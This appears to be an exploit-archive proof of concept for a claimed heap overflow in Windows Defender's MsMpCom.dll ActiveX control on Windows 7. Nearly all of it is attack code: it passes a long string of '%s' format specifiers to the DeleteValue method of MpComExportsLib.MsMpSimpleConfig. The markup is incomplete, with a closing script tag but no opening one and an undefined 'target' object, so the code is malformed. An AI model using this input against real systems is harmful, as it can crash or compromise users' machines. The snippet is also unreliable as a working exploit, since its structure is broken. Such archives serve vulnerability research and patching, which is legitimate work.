Microsoft Windows Defender – ActiveX Heap Overflow (PoC)

#Exploits title :[Microsoft Windows Defender ActiveX Heap Overflow PoC]

#tested on :[windows 7]

#Microsoft Windows Defender

<html>

targetFile = "C:\Program Files\Windows Defender\MsMpCom.dll"

prototype= "Sub DeleteValue ( ByVal bstrKeyName As String ,ByVal bstrValueName As String )"

memberName = "DeleteValue"

progid = "MpComExportsLib.MsMpSimpleConfig"

argCount = 2

arg1="defaultV"

arg2="%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s"

target.DeleteValue arg1 ,arg2

</script>